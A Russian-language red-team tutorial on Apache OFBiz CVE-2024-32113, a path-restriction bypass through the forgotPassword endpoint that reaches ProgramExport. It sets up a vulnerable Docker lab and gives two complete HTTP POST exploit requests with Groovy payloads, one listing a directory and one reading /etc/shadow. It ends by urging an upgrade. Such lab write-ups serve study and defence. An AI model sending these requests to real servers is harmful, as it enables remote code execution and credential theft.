Apache OFBiz CVE-2024-32113
Введение
Ранее в наших статьях мы уже упоминали Вам об уязвимостях CVE-2023-49070 и CVE-2023-51467 в Apache OFBiz
, не прошло и пол года, как 05 августа 2024 была опубликована новая уязвимость с неправильным ограничением пути к закрытому каталогу CVE-2024-32113
(CVSS 3.x 9.8 баллов), затрагивающая версии ниже 18.12.14
.
Для тех, кто мало знаком с данным решением, давайте еще раз узнаем, что это за продукт.
Apache OFBiz - это open-source программное обеспечение, включающее в себя множество различных приложений для интеграции и автоматизации множества бизнес-процессов предприятий.
В этой статье мы развернем уязвимую версию OFBiz
и разберемся как эксплуатировать ее.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Подготовка
Как и для эксплуатации прошлых уязвимостей возьмем также ПО версии 18.12.09
. Эта версия доступна на vulhub, откуда ее можно установить с помощью docker pull
или docker-compose
, предварительно скачав каталог с файлами настройки из GitHub-репозитория.
Скачиваем контейнер с помощью docker pull
:
sudo docker pull vulhub/ofbiz:18.12.09 # - скачиваем версию 18.12.09
Запустим наш контейнер следующей командой:
sudo docker run -d -p 8443:8443 vulhub/ofbiz:18.12.09
После подготовки нашей инфраструктуры (уязвимого программного обеспечения Apache OFBiz
версии ниже 18.12.14
) приступим к практическому разбору данной уязвимости.
Разбор уязвимости CVE-2024-32113
Уязвимая конечная точка /webtools/control/forgotPassword
позволяет злоумышленнику получить доступ к конечной точке ProgramExport
, которая, в свою очередь, позволяет удаленно выполнять код в контексте пользователя, от имени которого запущено приложение.
Для выполнения RCE
отправим следующий POST
-запрос на конечную точку /webtools/control/forgotPassword
видоизменив его:
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1 Host: 127.0.0.1:8443 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 59 groovyProgram=throw+new+Exception('ls+-la'.execute().text);
В результате мы получили Response
, содержащий результат выполнения команды - текущий каталог с его содержимым.
Давайте теперь попробуем прочитать содержимое файла /etc/passwd
отправив следующий запрос:
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1 Host: 127.0.0.1:8443 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 68 groovyProgram=throw+new+Exception('cat+/etc/shadow'.execute().text);
Response
по нашему запросу выглядит следующим образом:
Заключение
В данной статье мы с Вами разобрали уязвимость с неправильным ограничением пути к закрытому каталогу через которую можно обратиться к компоненту ProgramExport
Apache OFBiz
для выполнения удаленных команд.
Данная уязвимость была устранена в версии 18.12.14
.
Если у Вас установлен Apache OFBiz
версии ниже 18.12.14
, то мы настоятельно рекомендуем Вам обновится на последнюю версию данного решения.